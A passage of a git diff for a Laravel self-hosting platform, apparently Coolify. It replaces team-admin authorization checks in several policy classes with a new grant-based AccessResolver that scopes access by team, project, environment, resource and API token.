$this->getTeamId($database); - - return $teamId !== null && $user->isAdminOfTeam($teamId); + return $this->allows($user, AccessLevel::Write, $database); } - private function getTeamId($database): ?int + /** + * The instance database (coolify-db) belongs to the root team; only its owners and admins can change it. + */ + private function allows(User $user, AccessLevel $level, $database): bool { - // Instance-level databases (e.g., coolify-db) belong to root team - if (isset($database->id) && $database->id === 0) { - return 0; + if ($this->isInstanceDatabase($database)) { + return $user->isAdminOfTeam(0); } - if (method_exists($database, 'team')) { - return $database->team()?->id; - } + return $user->canAccess($level, $database); + } - return null; + private function isInstanceDatabase($database): bool + { + return isset($database->id) && $database->id === 0; } } diff --git a/app/Policies/EnvironmentPolicy.php b/app/Policies/EnvironmentPolicy.php index e400ec9037..1bfd47f8d2 100644 --- a/app/Policies/EnvironmentPolicy.php +++ b/app/Policies/EnvironmentPolicy.php @@ -2,8 +2,11 @@ namespace App\Policies; +use App\Enums\AccessLevel; use App\Models\Environment; +use App\Models\Project; use App\Models\User; +use App\Services\Access\AccessResolver; class EnvironmentPolicy { @@ -20,17 +23,17 @@ class EnvironmentPolicy */ public function view(User $user, Environment $environment): bool { - $teamId = $this->getTeamId($environment); - - return $teamId !== null && $user->teams->contains('id', $teamId); + return app(AccessResolver::class)->canOpen($user, $environment); } /** - * Determine whether the user can create models. + * Determine whether the user can create environments, in the project when one is given. */ - public function create(User $user): bool + public function create(User $user, ?Project $project = null): bool { - return $user->isAdmin(); + return $project === null + ? app(ProjectPolicy::class)->create($user) + : $user->canAccess(AccessLevel::Write, $project); } /** @@ -38,9 +41,7 @@ class EnvironmentPolicy */ public function update(User $user, Environment $environment): bool { - $teamId = $this->getTeamId($environment); - - return $teamId !== null && $user->isAdminOfTeam($teamId); + return $user->canAccess(AccessLevel::Write, $environment); } /** @@ -48,9 +49,7 @@ class EnvironmentPolicy */ public function delete(User $user, Environment $environment): bool { - $teamId = $this->getTeamId($environment); - - return $teamId !== null && $user->isAdminOfTeam($teamId); + return $user->canAccess(AccessLevel::Delete, $environment); } /** @@ -68,9 +67,4 @@ class EnvironmentPolicy { return false; } - - private function getTeamId(Environment $environment): ?int - { - return $environment->project?->team_id; - } } diff --git a/app/Policies/EnvironmentVariablePolicy.php b/app/Policies/EnvironmentVariablePolicy.php index dd0f58918e..f2da0356dc 100644 --- a/app/Policies/EnvironmentVariablePolicy.php +++ b/app/Policies/EnvironmentVariablePolicy.php @@ -4,7 +4,12 @@ namespace App\Policies; use App\Models\EnvironmentVariable; use App\Models\User; +use Illuminate\Support\Facades\Gate; +/** + * An environment variable is part of its resource's configuration: listing it needs view on the resource, + * reading its value needs viewSensitive, and every change needs manageEnvironment (write access). + */ class EnvironmentVariablePolicy { /** @@ -20,9 +25,15 @@ class EnvironmentVariablePolicy */ public function view(User $user, EnvironmentVariable $environmentVariable): bool { - $teamId = $this->getTeamId($environmentVariable); + return $this->allowsOnResource($user, 'view', $environmentVariable); + } - return $teamId !== null && $user->teams->contains('id', $teamId); + /** + * Determine whether the user can read the value. + */ + public function viewSensitive(User $user, EnvironmentVariable $environmentVariable): bool + { + return $this->allowsOnResource($user, 'viewSensitive', $environmentVariable); } /** @@ -38,9 +49,7 @@ class EnvironmentVariablePolicy */ public function update(User $user, EnvironmentVariable $environmentVariable): bool { - $teamId = $this->getTeamId($environmentVariable); - - return $teamId !== null && $user->isAdminOfTeam($teamId); + return $this->allowsOnResource($user, 'manageEnvironment', $environmentVariable); } /** @@ -48,9 +57,7 @@ class EnvironmentVariablePolicy */ public function delete(User $user, EnvironmentVariable $environmentVariable): bool { - $teamId = $this->getTeamId($environmentVariable); - - return $teamId !== null && $user->isAdminOfTeam($teamId); + return $this->allowsOnResource($user, 'manageEnvironment', $environmentVariable); } /** @@ -74,19 +81,13 @@ class EnvironmentVariablePolicy */ public function manageEnvironment(User $user, EnvironmentVariable $environmentVariable): bool { - $teamId = $this->getTeamId($environmentVariable); - - return $teamId !== null && $user->isAdminOfTeam($teamId); + return $this->allowsOnResource($user, 'manageEnvironment', $environmentVariable); } - private function getTeamId(EnvironmentVariable $environmentVariable): ?int + private function allowsOnResource(User $user, string $ability, EnvironmentVariable $environmentVariable): bool { $resource = $environmentVariable->resourceable; - if (! $resource || ! method_exists($resource, 'team')) { - return null; - } - - return $resource->team()?->id; + return $resource !== null && Gate::forUser($user)->allows($ability, $resource); } } diff --git a/app/Policies/ProjectPolicy.php b/app/Policies/ProjectPolicy.php index 9d65b9130d..687c5e167b 100644 --- a/app/Policies/ProjectPolicy.php +++ b/app/Policies/ProjectPolicy.php @@ -2,8 +2,10 @@ namespace App\Policies; +use App\Enums\AccessLevel; use App\Models\Project; use App\Models\User; +use App\Services\Access\AccessResolver; class ProjectPolicy { @@ -20,15 +22,17 @@ class ProjectPolicy */ public function view(User $user, Project $project): bool { - return $user->teams->contains('id', $project->team_id); + return app(AccessResolver::class)->canOpen($user, $project); } /** - * Determine whether the user can create models. + * Determine whether the user can create projects in the current team. */ public function create(User $user): bool { - return $user->isAdmin(); + $teamId = $user->currentTeam()?->id; + + return $teamId !== null && app(AccessResolver::class)->allowsTeamWide($user, AccessLevel::Write, $teamId); } /** @@ -36,7 +40,7 @@ class ProjectPolicy */ public function update(User $user, Project $project): bool { - return $user->isAdminOfTeam($project->team_id); + return $user->canAccess(AccessLevel::Write, $project); } /** @@ -44,7 +48,7 @@ class ProjectPolicy */ public function delete(User $user, Project $project): bool { - return $user->isAdminOfTeam($project->team_id); + return $user->canAccess(AccessLevel::Delete, $project); } /** diff --git a/app/Policies/ResourceCreatePolicy.php b/app/Policies/ResourceCreatePolicy.php index ee2876d956..7ad6d48bf6 100644 --- a/app/Policies/ResourceCreatePolicy.php +++ b/app/Policies/ResourceCreatePolicy.php @@ -2,15 +2,25 @@ namespace App\Policies; +use App\Enums\AccessLevel; +use App\Models\Environment; use App\Models\User; +use App\Services\Access\AccessResolver; class ResourceCreatePolicy { /** - * Determine whether the user can create any resource. + * Determine whether the user can create resources in the environment. + * Without an environment, the user needs write access on the whole current team. */ - public function createAny(User $user): bool + public function createAny(User $user, ?Environment $environment = null): bool { - return $user->isAdmin(); + if ($environment !== null) { + return $user->canAccess(AccessLevel::Write, $environment); + } + + $teamId = $user->currentTeam()?->id; + + return $teamId !== null && app(AccessResolver::class)->allowsTeamWide($user, AccessLevel::Write, $teamId); } } diff --git a/app/Policies/ScheduledTaskPolicy.php b/app/Policies/ScheduledTaskPolicy.php index fac7e7b228..fd4fbe7e21 100644 --- a/app/Policies/ScheduledTaskPolicy.php +++ b/app/Policies/ScheduledTaskPolicy.php @@ -2,10 +2,17 @@ namespace App\Policies; +use App\Enums\AccessLevel; use App\Models\ScheduledTask; use App\Models\User; +use App\Services\Access\AccessResolver; use Illuminate\Auth\Access\Response; +use Illuminate\Support\Facades\Gate; +/** + * A scheduled task is part of its application's or service's configuration: reading it needs view on that + * resource, every change needs update (write access) on it. A task without a visible parent needs team-wide access. + */ class ScheduledTaskPolicy { /** @@ -21,7 +28,12 @@ class ScheduledTaskPolicy */ public function view(User $user, ScheduledTask $scheduledTask): bool { - return $user->teams->contains('id', $scheduledTask->team_id); + $resource = $this->resource($scheduledTask); + if ($resource === null) { + return app(AccessResolver::class)->allowsTeamWide($user, AccessLevel::Read, $scheduledTask->team_id); + } + + return Gate::forUser($user)->allows('view', $resource); } /** @@ -37,7 +49,7 @@ class ScheduledTaskPolicy */ public function update(User $user, ScheduledTask $scheduledTask): Response { - if (! $user->isAdminOfTeam($scheduledTask->team_id)) { + if (! $this->canChange($user, $scheduledTask)) { return Response::deny('You need at least admin or owner permissions to update this scheduled task.'); } @@ -49,7 +61,7 @@ class ScheduledTaskPolicy */ public function delete(User $user, ScheduledTask $scheduledTask): bool { - return $user->isAdminOfTeam($scheduledTask->team_id); + return $this->canChange($user, $scheduledTask); } /** @@ -67,4 +79,19 @@ class ScheduledTaskPolicy { return false; } + + private function canChange(User $user, ScheduledTask $scheduledTask): bool + { + $resource = $this->resource($scheduledTask); + if ($resource === null) { + return $user->isAdminOfTeam($scheduledTask->team_id); + } + + return Gate::forUser($user)->allows('update', $resource); + } + + private function resource(ScheduledTask $scheduledTask): ?object + { + return $scheduledTask->application ?? $scheduledTask->service; + } } diff --git a/app/Policies/ServicePolicy.php b/app/Policies/ServicePolicy.php index 272ea1e930..2ab4f09ca5 100644 --- a/app/Policies/ServicePolicy.php +++ b/app/Policies/ServicePolicy.php @@ -2,6 +2,8 @@ namespace App\Policies; +use App\Enums\AccessLevel; +use App\Models\Environment; use App\Models\Service; use App\Models\User; @@ -20,17 +22,15 @@ class ServicePolicy */ public function view(User $user, Service $service): bool { - $teamId = $this->getTeamId($service); - - return $teamId !== null && $user->teams->contains('id', $teamId); + return $user->canAccess(AccessLevel::Read, $service); } /** - * Determine whether the user can create models. + * Determine whether the user can create models, in the environment when one is given. */ - public function create(User $user): bool + public function create(User $user, ?Environment $environment = null): bool { - return $user->isAdmin(); + return app(ResourceCreatePolicy::class)->createAny($user, $environment); } /** @@ -38,9 +38,7 @@ class ServicePolicy */ public function update(User $user, Service $service): bool { - $teamId = $this->getTeamId($service); - - return $teamId !== null && $user->isAdminOfTeam($teamId); + return $user->canAccess(AccessLevel::Write, $service); } /** @@ -48,9 +46,7 @@ class ServicePolicy */ public function delete(User $user, Service $service): bool { - $teamId = $this->getTeamId($service); - - return $teamId !== null && $user->isAdminOfTeam($teamId); + return $user->canAccess(AccessLevel::Delete, $service); } /** @@ -74,9 +70,15 @@ class ServicePolicy */ public function stop(User $user, Service $service): bool { - $teamId = $this->getTeamId($service); + return $user->canAccess(AccessLevel::Deploy, $service); + } - return $teamId !== null && $user->isAdminOfTeam($teamId); + /** + * Determine whether the user can read secret values, such as environment variable values. + */ + public function viewSensitive(User $user, Service $service): bool + { + return $user->canAccess(AccessLevel::ReadSensitive, $service); } /** @@ -84,9 +86,7 @@ class ServicePolicy */ public function manageEnvironment(User $user, Service $service): bool { - $teamId = $this->getTeamId($service); - - return $teamId !== null && $user->isAdminOfTeam($teamId); + return $user->canAccess(AccessLevel::Write, $service); } /** @@ -94,9 +94,7 @@ class ServicePolicy */ public function uploadBackup(User $user, Service $service): bool { - $teamId = $this->getTeamId($service); - - return $teamId !== null && $user->isAdminOfTeam($teamId); + return $user->canAccess(AccessLevel::Write, $service); } /** @@ -104,13 +102,6 @@ class ServicePolicy */ public function deploy(User $user, Service $service): bool { - $teamId = $this->getTeamId($service); - - return $teamId !== null && $user->isAdminOfTeam($teamId); - } - - private function getTeamId(Service $service): ?int - { - return $service->team()?->id; + return $user->canAccess(AccessLevel::Deploy, $service); } } diff --git a/app/Policies/SharedEnvironmentVariablePolicy.php b/app/Policies/SharedEnvironmentVariablePolicy.php index 21b6acb27b..08e9ba70f4 100644 --- a/app/Policies/SharedEnvironmentVariablePolicy.php +++ b/app/Policies/SharedEnvironmentVariablePolicy.php @@ -2,9 +2,15 @@ namespace App\Policies; +use App\Enums\AccessLevel; use App\Models\SharedEnvironmentVariable; use App\Models\User; +use App\Services\Access\AccessResolver; +/** + * Team and server variables need team-wide access (owners and admins to change them). + * Project and environment variables follow the access level on their project or environment. + */ class SharedEnvironmentVariablePolicy { /** @@ -20,7 +26,15 @@ class SharedEnvironmentVariablePolicy */ public function view(User $user, SharedEnvironmentVariable $sharedEnvironmentVariable): bool { - return $user->teams->contains('id', $sharedEnvironmentVariable->team_id); + return $this->allows($user, AccessLevel::Read, $sharedEnvironmentVariable); + } + + /** + * Determine whether the user can read the value. + */ + public function viewSensitive(User $user, SharedEnvironmentVariable $sharedEnvironmentVariable): bool + { + return $this->allows($user, AccessLevel::ReadSensitive, $sharedEnvironmentVariable); } /** @@ -36,7 +50,7 @@ class SharedEnvironmentVariablePolicy */ public function update(User $user, SharedEnvironmentVariable $sharedEnvironmentVariable): bool { - return $user->isAdminOfTeam($sharedEnvironmentVariable->team_id); + return $this->allows($user, AccessLevel::Write, $sharedEnvironmentVariable); } /** @@ -44,7 +58,7 @@ class SharedEnvironmentVariablePolicy */ public function delete(User $user, SharedEnvironmentVariable $sharedEnvironmentVariable): bool { - return $user->isAdminOfTeam($sharedEnvironmentVariable->team_id); + return $this->allows($user, AccessLevel::Write, $sharedEnvironmentVariable); } /** @@ -68,6 +82,21 @@ class SharedEnvironmentVariablePolicy */ public function manageEnvironment(User $user, SharedEnvironmentVariable $sharedEnvironmentVariable): bool { - return $user->isAdminOfTeam($sharedEnvironmentVariable->team_id); + return $this->allows($user, AccessLevel::Write, $sharedEnvironmentVariable); + } + + private function allows(User $user, AccessLevel $level, SharedEnvironmentVariable $sharedEnvironmentVariable): bool + { + if (in_array($sharedEnvironmentVariable->type, ['project', 'environment'], true)) { + $target = $sharedEnvironmentVariable->type === 'project' + ? $sharedEnvironmentVariable->project + : $sharedEnvironmentVariable->environment; + + return $target !== null && $user->canAccess($level, $target); + } + + return $level === AccessLevel::Read + ? app(AccessResolver::class)->allowsTeamWide($user, AccessLevel::Read, $sharedEnvironmentVariable->team_id) + : $user->isAdminOfTeam($sharedEnvironmentVariable->team_id); } } diff --git a/app/Providers/AppServiceProvider.php b/app/Providers/AppServiceProvider.php index 1c36b36298..e0d6709015 100644 --- a/app/Providers/AppServiceProvider.php +++ b/app/Providers/AppServiceProvider.php @@ -8,6 +8,7 @@ use App\Auth\Oidc\Socialite\OidcProvider; use App\Models\PersonalAccessToken; use App\Models\Server; use App\Rules\SafeExternalUrl; +use App\Services\Access\AccessResolver; use App\Support\AtomicFilesystem; use Illuminate\Database\Eloquent\Model; use Illuminate\Foundation\Console\ConfigCacheCommand; @@ -27,6 +28,7 @@ class AppServiceProvider extends ServiceProvider { public function register(): void { + $this->app->scoped(AccessResolver::class); $this->app->bind(StripeClient::class, fn () => new StripeClient(config('subscription.stripe_api_key'))); // Requests must never read a partly written cache file. See AtomicFilesystem. diff --git a/app/Services/Access/AccessGrants.php b/app/Services/Access/AccessGrants.php new file mode 100644 index 0000000000..73b8d23b5f --- /dev/null +++ b/app/Services/Access/AccessGrants.php @@ -0,0 +1,124 @@ + $teamLevels expanded levels of team-wide grants + * @param array> $projectLevels project ID => expanded levels + * @param array> $environmentLevels environment ID => expanded levels + * @param array> $resourceLevels resource UUID => expanded levels + * @param array $environmentProjects environment ID => project ID, for granted environments and parents of granted resources + * @param array $resourceEnvironments resource UUID => environment ID + * @param list $projectEnvironmentIds environments inside granted projects + */ + public function __construct( + private readonly array $teamLevels, + private readonly array $projectLevels, + private readonly array $environmentLevels, + private readonly array $resourceLevels, + private readonly array $environmentProjects, + private readonly array $resourceEnvironments, + private readonly array $projectEnvironmentIds, + ) {} + + public static function unrestricted(): self + { + return new self(self::expand([AccessLevel::Root]), [], [], [], [], [], []); + } + + /** + * @param list $levels + * @return array + */ + public static function expand(array $levels): array + { + $expanded = []; + foreach ($levels as $level) { + foreach ($level->includes() as $included) { + $expanded[$included->value] = true; + } + } + + return $expanded; + } + + /** + * True when a team-wide grant exists, so every project in the team is visible. + */ + public function coversWholeTeam(): bool + { + return $this->teamLevels !== []; + } + + public function allows(AccessLevel $level, ?int $projectId = null, ?int $environmentId = null, ?string $resourceUuid = null): bool + { + if (isset($this->teamLevels[$level->value])) { + return true; + } + if ($projectId !== null && isset($this->projectLevels[$projectId][$level->value])) { + return true; + } + if ($environmentId !== null && isset($this->environmentLevels[$environmentId][$level->value])) { + return true; + } + + return $resourceUuid !== null && isset($this->resourceLevels[$resourceUuid][$level->value]); + } + + /** + * Projects the actor can open: granted projects and parents of granted environments and resources. + * + * @return list + */ + public function visibleProjectIds(): array + { + return array_values(array_unique([ + ...array_keys($this->projectLevels), + ...array_values($this->environmentProjects), + ])); + } + + /** + * Environments the actor can open, including parents of granted resources. + * + * @return list + */ + public function visibleEnvironmentIds(): array + { + return array_values(array_unique([ + ...$this->fullEnvironmentIds(), + ...array_values($this->resourceEnvironments), + ])); + } + + /** + * Environments where every resource is visible (granted directly or through the project). + * + * @return list + */ + public function fullEnvironmentIds(): array + { + return array_values(array_unique([ + ...array_keys($this->environmentLevels), + ...$this->projectEnvironmentIds, + ])); + } + + /** + * @return list + */ + public function resourceUuids(): array + { + return array_map('strval', array_keys($this->resourceLevels)); + } +} diff --git a/app/Services/Access/AccessResolver.php b/app/Services/Access/AccessResolver.php new file mode 100644 index 0000000000..19fa8ecb4e --- /dev/null +++ b/app/Services/Access/AccessResolver.php @@ -0,0 +1,468 @@ +> + */ + public const RESOURCE_MODELS = [ + Application::class, + Service::class, + StandalonePostgresql::class, + StandaloneMysql::class, + StandaloneMariadb::class, + StandaloneMongodb::class, + StandaloneRedis::class, + StandaloneKeydb::class, + StandaloneDragonfly::class, + StandaloneClickhouse::class, + StandaloneSqlite::class, + ]; + + /** @var array */ + private array $layers = []; + + private bool $resolving = false; + + private int $unscopedDepth = 0; + + public function isResolving(): bool + { + return $this->resolving || $this->unscopedDepth > 0; + } + + /** + * Run the callback with VisibleThroughAccessGrants turned off, also for nested relations. + * Only for checks that must see every row in the team, such as domain and port conflicts. + * + * @template T + * + * @param Closure(): T $callback + * @return T + */ + public function withoutVisibilityScope(Closure $callback): mixed + { + $this->unscopedDepth++; + try { + return $callback(); + } finally { + $this->unscopedDepth--; + } + } + + public function flush(): void + { + $this->layers = []; + } + + /** + * The levels a member without stored grants has. + * + * @return list + */ + public static function defaultMemberGrants(): array + { + return [Grant::team([AccessLevel::Read])]; + } + + /** + * @return list|null null when the token is not limited to scopes + */ + public static function tokenGrants(PersonalAccessToken $token): ?array + { + $scopes = $token->scopes; + if ($scopes === null) { + return null; + } + + $levels = AccessLevel::parseMany($token->abilities ?? []); + + return array_map( + fn (Grant $scope) => new Grant($scope->scope, $scope->uuid, $levels), + Grant::listFrom($scopes), + ); + } + + /** + * @return list|null null for owners and admins, who have no limits in the team + */ + public function memberGrants(User $user, int $teamId): ?array + { + $membership = $this->membership($user, $teamId); + if ($membership === null) { + return []; + } + + $role = $membership->role ?? null; + if ($role === 'admin' || $role === 'owner') { + return null; + } + + $stored = $membership->access ?? null; + + return $stored === null ? self::defaultMemberGrants() : Grant::listFrom($stored); + } + + private function isMember(User $user, int $teamId): bool + { + return $this->membership($user, $teamId) !== null; + } + + /** + * The `team_user` row of the user. It uses the loaded `teams` relation, the same data `isAdminOfTeam()` + * reads, but it never loads that relation itself: list queries call this early in a request, and a + * relation cached then would hide a role change made later in the same request. + */ + private function membership(User $user, int $teamId): ?object + { + if ($user->relationLoaded('teams')) { + return $user->teams->firstWhere('id', $teamId)?->pivot; + } + + return $user->teams()->where('teams.id', $teamId)->first()?->pivot; + } + + public function allows(User $user, AccessLevel $level, Model $target): bool + { + $location = $this->locate($target); + if ($location === null) { + return false; + } + + [$teamId, $projectId, $environmentId, $resourceUuid] = $location; + + foreach ($this->layersFor($user, $teamId) as $layer) { + if (! $layer->allows($level, $projectId, $environmentId, $resourceUuid)) { + return false; + } + } + + return $this->isMember($user, $teamId); + } + + /** + * True when the user can open a project or environment: it is granted, or it contains a granted + * environment or resource. Opening shows only the children the user can see. + */ + public function canOpen(User $user, Project|Environment $target): bool + { + $location = $this->locate($target); + if ($location === null) { + return false; + } + + [$teamId, $projectId, $environmentId] = $location; + + foreach ($this->layersFor($user, $teamId) as $layer) { + $visible = $target instanceof Project + ? in_array($projectId, $layer->visibleProjectIds(), true) + : in_array($environmentId, $layer->visibleEnvironmentIds(), true); + if (! $layer->coversWholeTeam() && ! $visible) { + return false; + } + } + + return $this->isMember($user, $teamId); + } + + /** + * True when the user (and the current token) can act on the whole team, not only on some projects. + */ + public function coversWholeTeam(User $user, int $teamId): bool + { + foreach ($this->layersFor($user, $teamId) as $layer) { + if (! $layer->coversWholeTeam()) { + return false; + } + } + + return true; + } + + /** + * True when the user (and the current token) has the level on the whole team, for actions without a target + * inside the team, such as creating a project. + */ + public function allowsTeamWide(User $user, AccessLevel $level, int $teamId): bool + { + foreach ($this->layersFor($user, $teamId) as $layer) { + if (! $layer->allows($level)) { + return false; + } + } + + return $this->isMember($user, $teamId); + } + + /** + * True when the user has every level of every grant, at that scope or above it. + * A token can never get more access than the user who owns it. + * + * @param list $grants + */ + public function userHolds(User $user, int $teamId, array $grants): bool + { + $memberGrants = $this->memberGrants($user, $teamId); + if ($memberGrants === null) { + return true; + } + + $layer = $this->resolve($teamId, $memberGrants); + + foreach ($grants as $grant) { + $location = $this->locateScope($teamId, $grant); + if ($location === null) { + return false; + } + [$projectId, $environmentId, $resourceUuid] = $location; + + foreach ($grant->levels as $level) { + if (! $layer->allows($level, $projectId, $environmentId, $resourceUuid)) { + return false; + } + } + } + + return true; + } + + /** + * Layers of the authenticated user (and token) in their current team, for list queries. + * + * @return list + */ + public function currentLayers(): array + { + if ($this->resolving) { + return []; + } + + $user = auth()->user(); + if (! $user instanceof User) { + return []; + } + + $teamId = data_get(session('currentTeam'), 'id') ?? data_get($user->currentAccessToken(), 'team_id'); + if ($teamId === null || ! $this->isMember($user, (int) $teamId)) { + return []; + } + + return $this->layersFor($user, (int) $teamId); + } + + /** + * @return list + */ + public function layersFor(User $user, int $teamId): array + { + $layers = []; + + $memberGrants = $this->memberGrants($user, $teamId); + if ($memberGrants !== null) { + $layers[] = $this->cachedLayer($teamId, $memberGrants); + } + + $token = $user->is(auth()->user()) ? $user->currentAccessToken() : null; + if ($token instanceof PersonalAccessToken && (int) $token->team_id === $teamId) { + $tokenGrants = self::tokenGrants($token); + if ($tokenGrants !== null) { + $layers[] = $this->cachedLayer($teamId, $tokenGrants); + } + } + + return $layers; + } + + /** + * @param list $grants + */ + private function cachedLayer(int $teamId, array $grants): AccessGrants + { + $key = $teamId.':'.md5(json_encode(Grant::listToArray($grants))); + + return $this->layers[$key] ??= $this->resolve($teamId, $grants); + } + + /** + * Resolve grant UUIDs to IDs inside the team. Grants that point outside the team are dropped. + * + * @param list $grants + */ + public function resolve(int $teamId, array $grants): AccessGrants + { + $this->resolving = true; + try { + return $this->build($teamId, $grants); + } finally { + $this->resolving = false; + } + } + + /** + * @param list $grants + */ + private function build(int $teamId, array $grants): AccessGrants + { + $teamLevels = []; + $byScope = [AccessScope::Project->value => [], AccessScope::Environment->value => [], AccessScope::Resource->value => []]; + + foreach ($grants as $grant) { + if ($grant->levels === []) { + continue; + } + if ($grant->scope === AccessScope::Team) { + $teamLevels += AccessGrants::expand($grant->levels); + + continue; + } + $existing = $byScope[$grant->scope->value][$grant->uuid] ?? []; + $byScope[$grant->scope->value][$grant->uuid] = $existing + AccessGrants::expand($grant->levels); + } + + $projectLevels = []; + $projectEnvironmentIds = []; + if ($byScope[AccessScope::Project->value] !== []) { + $projects = Project::withoutGlobalScope(VisibleThroughAccessGrants::class) + ->where('team_id', $teamId) + ->whereIn('uuid', array_keys($byScope[AccessScope::Project->value])) + ->get(['id', 'uuid']); + foreach ($projects as $project) { + $projectLevels[$project->id] = $byScope[AccessScope::Project->value][$project->uuid]; + } + $projectEnvironmentIds = Environment::withoutGlobalScope(VisibleThroughAccessGrants::class) + ->whereIn('project_id', array_keys($projectLevels)) + ->pluck('id') + ->all(); + } + + $environmentLevels = []; + $environmentProjects = []; + if ($byScope[AccessScope::Environment->value] !== []) { + $environments = $this->teamEnvironments($teamId) + ->whereIn('environments.uuid', array_keys($byScope[AccessScope::Environment->value])) + ->get(['environments.id', 'environments.uuid', 'environments.project_id']); + foreach ($environments as $environment) { + $environmentLevels[$environment->id] = $byScope[AccessScope::Environment->value][$environment->uuid]; + $environmentProjects[$environment->id] = $environment->project_id; + } + } + + $resourceLevels = []; + $resourceEnvironments = []; + $resourceUuids = array_keys($byScope[AccessScope::Resource->value]); + if ($resourceUuids !== []) { + $teamEnvironmentProjects = $this->teamEnvironments($teamId)->pluck('environments.project_id', 'environments.id')->all(); + foreach (self::RESOURCE_MODELS as $modelClass) { + $resources = $modelClass::withoutGlobalScope(VisibleThroughAccessGrants::class) + ->whereIn('uuid', $resourceUuids) + ->whereIn('environment_id', array_keys($teamEnvironmentProjects)) + ->get(['uuid', 'environment_id']); + foreach ($resources as $resource) { + $resourceLevels[$resource->uuid] = $byScope[AccessScope::Resource->value][$resource->uuid]; + $resourceEnvironments[$resource->uuid] = $resource->environment_id; + $environmentProjects[$resource->environment_id] = $teamEnvironmentProjects[$resource->environment_id]; + } + } + } + + return new AccessGrants( + $teamLevels, + $projectLevels, + $environmentLevels, + $resourceLevels, + $environmentProjects, + $resourceEnvironments, + $projectEnvironmentIds, + ); + } + + private function teamEnvironments(int $teamId): Builder + { + return Environment::withoutGlobalScope(VisibleThroughAccessGrants::class) + ->join('projects', 'projects.id', '=', 'environments.project_id') + ->where('projects.team_id', $teamId); + } + + /** + * @return array{0: int, 1: int|null, 2: int|null, 3: string|null}|null team, project, environment, resource UUID + */ + private function locate(Model $target): ?array + { + if ($target instanceof Project) { + return [$target->team_id, $target->id, null, null]; + } + + $environmentId = $target instanceof Environment ? $target->id : $target->getAttribute('environment_id'); + if ($environmentId === null) { + return null; + } + + $this->resolving = true; + try { + $environment = Environment::withoutGlobalScope(VisibleThroughAccessGrants::class) + ->with(['project' => fn ($query) => $query->withoutGlobalScope(VisibleThroughAccessGrants::class)]) + ->find($environmentId); + } finally { + $this->resolving = false; + } + + if ($environment?->project === null) { + return null; + } + + $resourceUuid = $target instanceof Environment ? null : $target->getAttribute('uuid'); + + return [$environment->project->team_id, $environment->project_id, $environment->id, $resourceUuid]; + } + + /** + * @return array{0: int|null, 1: int|null, 2: string|null}|null project, environment, resource UUID + */ + private function locateScope(int $teamId, Grant $grant): ?array + { + if ($grant->scope === AccessScope::Team) { + return [null, null, null]; + } + + $layer = $this->resolve($teamId, [new Grant($grant->scope, $grant->uuid, [AccessLevel::Read])]); + + return match ($grant->scope) { + AccessScope::Project => ($layer->visibleProjectIds()[0] ?? null) === null ? null : [$layer->visibleProjectIds()[0], null, null], + AccessScope::Environment => ($layer->fullEnvironmentIds()[0] ?? null) === null ? null : [$layer->visibleProjectIds()[0], $layer->fullEnvironmentIds()[0], null], + AccessScope::Resource => $layer->resourceUuids() === [] ? null : [$layer->visibleProjectIds()[0], $layer->visibleEnvironmentIds()[0], $grant->uuid], + }; + } +} diff --git a/app/Services/Access/Grant.php b/app/Services/Access/Grant.php new file mode 100644 index 0000000000..e7a880841f --- /dev/null +++ b/app/Services/Access/Grant.php @@ -0,0 +1,94 @@ + $levels + */ + public function __construct( + public AccessScope $scope, + public ?string $uuid, + public array $levels, + ) {} + + /** + * @param list $levels + */ + public static function team(array $levels): self + { + return new self(AccessScope::Team, null, $levels); + } + + /** + * @param array{scope?: string, uuid?: string|null, levels?: list} $data + */ + public static function fromArray(array $data): ?self + { + $scope = AccessScope::tryFrom((string) ($data['scope'] ?? '')); + if ($scope === null) { + return null; + } + + $uuid = $scope === AccessScope::Team ? null : ($data['uuid'] ?? null); + if ($scope !== AccessScope::Team && (! is_string($uuid) || $uuid === '')) { + return null; + } + + return new self($scope, $uuid, AccessLevel::parseMany($data['levels'] ?? [])); + } + + /** + * @return list + */ + public static function listFrom(mixed $stored): array + { + if (is_string($stored)) { + $stored = json_decode($stored, true); + } + if (! is_array($stored)) { + return []; + } + + $grants = []; + foreach ($stored as $item) { + $grant = is_array($item) ? self::fromArray($item) : null; + if ($grant !== null) { + $grants[] = $grant; + } + } + + return $grants; + } + + /** + * @param list $grants + * @return list}> + */ + public static function listToArray(array $grants): array + { + return array_map(fn (self $grant) => $grant->toArray(), $grants); + } + + /** + * @return array{scope: string, uuid: string|null, levels: list} + */ + public function toArray(): array + { + return [ + 'scope' => $this->scope->value, + 'uuid' => $this->uuid, + 'levels' => array_map(fn (AccessLevel $level) => $level->value, $this->levels), + ]; + } +} diff --git a/app/Traits/AuthorizesResourceCreation.php b/app/Traits/AuthorizesResourceCreation.php index 01ae7c8d95..4e18d45fed 100644 --- a/app/Traits/AuthorizesResourceCreation.php +++ b/app/Traits/AuthorizesResourceCreation.php @@ -2,6 +2,8 @@ namespace App\Traits; +use App\Models\Environment; +use Illuminate\Auth\Access\AuthorizationException; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; trait AuthorizesResourceCreation @@ -9,12 +11,12 @@ trait AuthorizesResourceCreation use AuthorizesRequests; /** - * Authorize creation of all supported resources. + * Authorize creation of all supported resources, in the environment when one is given. * - * @throws \Illuminate\Auth\Access\AuthorizationException + * @throws AuthorizationException */ - protected function authorizeResourceCreation(): void + protected function authorizeResourceCreation(?Environment $environment = null): void { - $this->authorize('createAnyResource'); + $this->authorize('createAnyResource', [$environment]); } } diff --git a/app/Traits/ScopedByAccessGrants.php b/app/Traits/ScopedByAccessGrants.php new file mode 100644 index 0000000000..ef93669dbc --- /dev/null +++ b/app/Traits/ScopedByAccessGrants.php @@ -0,0 +1,16 @@ + app(AccessResolver::class)->flush()); + static::deleted(fn () => app(AccessResolver::class)->flush()); + } +} diff --git a/bootstrap/helpers/databases.php b/bootstrap/helpers/databases.php index a34fdde9a8..97a5f87161 100644 --- a/bootstrap/helpers/databases.php +++ b/bootstrap/helpers/databases.php @@ -17,6 +17,7 @@ use App\Models\StandalonePostgresql; use App\Models\StandaloneRedis; use App\Models\StandaloneSqlite; use App\Models\SwarmDocker; +use App\Services\Access\AccessResolver; use Illuminate\Support\Collection; use Illuminate\Support\Facades\Storage; use Illuminate\Support\Str; @@ -500,14 +501,13 @@ function deleteOldBackupsFromS3($backup): Collection function isPublicPortAlreadyUsed(Server $server, int $port, ?string $id = null): bool { + // A member limited to some projects must still see the ports of every database on the server. + $databases = app(AccessResolver::class)->withoutVisibilityScope(fn () => $server->databases()); + + $query = $databases->where('public_port', $port)->where('is_public', true); if ($id) { - $foundDatabase = $server->databases()->where('public_port', $port)->where('is_public', true)->where('id', '!=', $id)->first(); - } else { - $foundDatabase 